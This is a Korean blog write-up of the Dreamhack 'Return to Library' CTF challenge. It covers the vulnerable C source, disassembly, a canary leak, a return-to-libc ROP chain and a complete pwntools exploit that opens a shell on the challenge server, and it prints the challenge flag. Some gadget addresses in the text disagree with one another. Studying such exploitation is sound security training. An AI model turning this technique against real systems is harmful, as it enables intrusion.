미역줄기의 이모저모
[ Dreamhack ] Return to Library 본문
프로세스에 실행 권한이 있는 메모리 영역은 일반적으로 바이너리의 코드 영역과 바이너리가 참조하는 라이브러리의 코드 영역이다.
공격자들을 libc의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법을 개발하였다. 이를 Return To Libc 라고 한다.
문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
const char* binsh = "/bin/sh"를 보면 주소가 고정 되어있는 것 같다.
system("echo 'system@plt'")는 system함수를 plt에 추가
read(0, buf, 0x100) 가 두개 인데 한 번은 카나리 값을 구하고 다른 한 번은 오버플로우를 일으키면 되겠다!
분석 전에 컴파일 하고 checksec으로 보호 기법을 파악하자!!
64비트 x86아키텍처이다. 그럼 canary는 8바이트겠군.
NX도 적용되어있다. ASLR은 기본으로 적용되어 있을 것이다.
이제 main을 디스어셈블 해보자
pwndbg> disassemble main
Dump of assembler code for function main:
0x00000000004006f7 <+0>: push rbp
0x00000000004006f8 <+1>: mov rbp,rsp
=> 0x00000000004006fb <+4>: sub rsp,0x40
0x00000000004006ff <+8>: mov rax,QWORD PTR fs:0x28
0x0000000000400708 <+17>: mov QWORD PTR [rbp-0x8],rax
0x000000000040070c <+21>: xor eax,eax
0x000000000040070e <+23>: mov rax,QWORD PTR [rip+0x20095b] # 0x601070 <stdin@@GLIBC_2.2.5>
0x0000000000400715 <+30>: mov ecx,0x0
0x000000000040071a <+35>: mov edx,0x2
0x000000000040071f <+40>: mov esi,0x0
0x0000000000400724 <+45>: mov rdi,rax
0x0000000000400727 <+48>: call 0x400600 <setvbuf@plt>
0x000000000040072c <+53>: mov rax,QWORD PTR [rip+0x20092d] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400733 <+60>: mov ecx,0x0
0x0000000000400738 <+65>: mov edx,0x2
0x000000000040073d <+70>: mov esi,0x0
0x0000000000400742 <+75>: mov rdi,rax
0x0000000000400745 <+78>: call 0x400600 <setvbuf@plt>
0x000000000040074a <+83>: mov edi,0x40087c
0x000000000040074f <+88>: mov eax,0x0
0x0000000000400754 <+93>: call 0x4005d0 <system@plt>
0x0000000000400759 <+98>: mov edi,0x40088d
0x000000000040075e <+103>: call 0x4005b0 <puts@plt>
0x0000000000400763 <+108>: mov edi,0x40089d
0x0000000000400768 <+113>: mov eax,0x0
0x000000000040076d <+118>: call 0x4005e0 <printf@plt>
0x0000000000400772 <+123>: lea rax,[rbp-0x40]
0x0000000000400776 <+127>: mov edx,0x100
0x000000000040077b <+132>: mov rsi,rax
0x000000000040077e <+135>: mov edi,0x0
0x0000000000400783 <+140>: call 0x4005f0 <read@plt>
0x0000000000400788 <+145>: lea rax,[rbp-0x40]
0x000000000040078c <+149>: mov rsi,rax
0x000000000040078f <+152>: mov edi,0x4008a3
0x0000000000400794 <+157>: mov eax,0x0
0x0000000000400799 <+162>: call 0x4005e0 <printf@plt>
0x000000000040079e <+167>: mov edi,0x4008ac
0x00000000004007a3 <+172>: call 0x4005b0 <puts@plt>
0x00000000004007a8 <+177>: mov edi,0x40089d
0x00000000004007ad <+182>: mov eax,0x0
0x00000000004007b2 <+187>: call 0x4005e0 <printf@plt>
0x00000000004007b7 <+192>: lea rax,[rbp-0x40]
0x00000000004007bb <+196>: mov edx,0x100
0x00000000004007c0 <+201>: mov rsi,rax
0x00000000004007c3 <+204>: mov edi,0x0
0x00000000004007c8 <+209>: call 0x4005f0 <read@plt>
0x00000000004007cd <+214>: mov eax,0x0
0x00000000004007d2 <+219>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004007d6 <+223>: xor rcx,QWORD PTR fs:0x28
0x00000000004007df <+232>: je 0x4007e6 <main+239>
0x00000000004007e1 <+234>: call 0x4005c0 <__stack_chk_fail@plt>
0x00000000004007e6 <+239>: leave
0x00000000004007e7 <+240>: ret
End of assembler dump.
buf부터 rbp까지의 거리는 0x40이다! 그리고 buf부터 canary까지의 거리는 0x40-0x08 = 0x38이다.
그럼 스택 구조는 ..
이렇게 될 것 같다.
main+140 read -> 여기서 카나리 값을 구할 수 있을 것 같다. 입력값은 0x40에 저장되는군
main+209 read -> 여기선 오버플로우를 일으킬 수 있을 것 같다. systme("/bin/sh")을 호출하게 해야되겠다. 그러나 NX로 인해 buf에 셸 코드를 주입하고 실행할 수 없다. 다른 방법을 사용해야한다.
"/bin/sh"의 주소를 알고 system 함수의 PLT 주소를 안다. ==> system 함수를 호출할 수 있다!
그러므로 "/bin/sh"의 주소를 rdi의 값으로 설정할 수 있다면 system을 실행할 수 있다. 이를 위해선 리턴 가젯을 활용해야 한다.
리턴 가젯
리턴 가젯을 아래와 같이 ret로 끝나는 어셈블리 코드 조각을 말한다.
// pop rdi 명령과 ret 명령을 수행하는 주소 400853
0x0000000000400853 : pop rdi ; ret
지금까지는 어떤 함수의 주소나 셸 코드의 주소를 반환 주소를 덮어 한 번에 셸을 획득했었지만 이 문제에선 NX로 인해 셸 코드를 실행할 수 없는 상황에서, 단 한 번의 함수 실행으로 셸을 획득하는 것은 일반적으로 불가능한다.
ret 영역만 덮어씌워서 해결될 문제가 아니라면 이 때 사용할 수 있는 것이 리턴 가젯이다.
리턴 가젯은 반환 주소를 덮는 공격의 유연성을 높여 익스플로잇에 필요한 조건을 만족할 수 있도록 돕는다.
이 문제에서는 rdi의 값을 "/bin/sh"의 주소로 설정하고, system 함수를 호출해야 한다. 리턴 가젯을 사용하여 반환 주소 이후의 버퍼를 아래와 같이 덮으면, pop rdi로 rdi를 "/bin/sh"의 주소로 설정하고, 이어지는 ret로 system함수를 호출할 수 있다.
리턴 가젯을 찾기 위해 ROPgadget을 사용한다. 먼저 설치부터 하자
$ python3 -m pip install ROPgadget --user
설치한 김에 가젯의 주소도 구해버리자!!
0x400854이 가젯의 주소이다.
가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득 할 수 있다. 여기서 system 함수로 rip가 이동할 때, 스택은 반드시 0x10단위로 정렬되어 있어야 한다.
Exploit
1. 카나리 우회
내가 그린 스택을 보면 buf와 canary 사이의 거리는 0x38이다. 거기에 canary의 앞에 한 바이트는 NULL 바이트이기 때문에 0x39byte 만큼의 더미값을 주면 된다.
# 1) leak canary
buf = b"A"*0x39
p.sendafter("Buf: ",buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recv(7))
print("canary: ", hex(cnry))
2. 리턴 가젯
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
다음과 같이 가젯을 구성하고 실행하면 system("/bin/sh")을 실행할 수 있다.
"/bin/sh" 주소는 0x400874이다.
pop rdi의 주소는 0x400853이다.
ret 가젯을 검색하면 수많은 ret 가젯이 나오는데 레지스터와 같이 있는 것을 제외하면 0x0000000000400385주소 하나 나온다.
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
이렇게 가젯을 구성하고 실행하면 system("/bin/sh")를 실행할 수 있다.
가젯으로 구성된 페이로드를 작성하고, 이 페이로드로 반환 주소를 덮으면 셸을 획득할 수 있지만 한 가지 주의할 점은, rip가 system 함수주소로 이동될 때, 스택은 반드시 0x10 단위로 정렬되어 있어야 한다는 것이다.
이는 system 함수 내부에 있는 movaps 명령어 때문인데, 이 명령어는 스택이 0x10 단위로 정렬되어 있지 않으면 Segmentation Fault 를 발생시킨다.
system 함수를 이용한 익스플로잇을 작성할 때 익스플로잇이 제대로 작성된 것 같은데도 Segmentation Fault가 발생한다면, system 함수의 가젯을 8byte 뒤로 미뤄보는 것이 좋은데, 이를 위해 아무 의미 없는 가젯(no-op gadget)을 system 함수 전에 추가할 수 있다.
여기서 생각할 수 있는게 nop인 \x90을 떠올릴 수 있지만, 이는 공격에 성공하지 못한다.
아무 의미 없는 가젯을 넣어야 하는데, 여기서 중요한 점은 가젯은 가젯인데 의미 없는 동작을 하는 가젯이어야 한다는 것이다.
그래서
addr of ("ret")
addr of ("pop rdi; ret") <= return address
addr of string "/bin/sh" <= ret + 0x8
addr of "system" plt <= ret + 0x10
system 함수는 rip가 이동할 때, 스택이 16 단위로 정렬되어 있어야 하므로 system 함수 전에 아무 의미 없는 가젯을 추가하여 위와 같이 구성한다.
nop는 가젯이 아니라 그저 다음 명령어가 있는 곳으로 스킵하는 값이다.
위에 새로 들어간 "ret" 가젯의 주소는 이전에 구했던 400285 주소이다.
Exploit Code
from pwn import *
p = remote('host3.dreamhack.games', 13384)
e = ELF('./rtl')
# leak canary
payload = b'a' * 0x39
p.sendafter(b'Buf: ', payload)
p.recvuntil(payload)
crny = hex(u64(b'\x00' + p.recvn(7)))
print("canary : " , crny)
# exploit
system_plt = e.plt["system"] # system plt address
binsh = 0x400874
pop_rdi = 0x0000000000400853
ret = 0x0000000000400285
payload = b'a' * 0x38 + p64(int(crny, 16)) + b'b' * 0x8 + p64(ret) + p64(pop_rdi) + p64(binsh) + p64(system_plt)
#pause()
p.sendafter("Buf: ", payload)
p.interactive()
위의 코드가 동작되면 스택의 구성은
0x38 | 0x8 | 0x8 | 0x8 | 0x8 | 0x8 | 0x8 |
buf | canary | sfp | ret | pop_rdi | binsh | system@plt |
'a' | canary 값 | bbbb | 400285 | 400853 | 400874 | address of system@plt |
이렇다.
동작원리
main() 함수가 끝날 때 rip에 스택에 있는 ret 영역에 있는 값 400285가 들어가게 되고, 스택에서는 400285 값이 사라지면서 rsp+0x08이 되어 rsp는 pop_rdi 영역을 가리키고 있다.
400285 주소는 ret 명령이 있는 주소이기 때문에 400285 주소로 이동되고 나서 바로 ret 명령이 수행된다.
말 그대로 바로 ret 명령이 수행되는 것이므로 아무 의미 없는 동작을 하는 것이다.
ret 명령은 pop rip, jmp rip 명령으로 비유할 수 있기 때문에 현재 스택의 맨 위를 가리키고 있는 rsp 레지스터에 있는 값(스택 주소)에 해당하는 위치에서 8byte 값을 읽어 400853을 rip에 저장하므로 rip에는 400853 주소가 들어가고 400853 주소로 이동하여 pop rdi, ret 명령을 수행한다.
이때 rsp는 rsp+0x08이 되어 "/bin/sh" 문자열의 주소가 있는 곳을 가리키고 있으므로 pop rdi 명령어 수행 시 rdi에 "/bin/sh" 문자열의 주소 400874가 들어가게 되고, ret 명령을 수행하므로써 rip에 system@plt의 주소가 들어가 system() 함수를 실행한다.
flag: DH{13e0d0ddf0c71c0ac4410687c11e6b00}
'Hacking > Dremahack 문제풀이' 카테고리의 다른 글
[ Dreamhack ] basic_rop_x64 (0) | 2024.02.16 |
---|---|
[ Dreamhack ] rop (2) | 2024.02.11 |
[ Dreamhack ] ssp_01 (0) | 2024.02.08 |
[ Dreamhack ] Return to Shellcode (2) | 2024.02.08 |
[ Dreamhack ] shell_basic (1) | 2024.02.07 |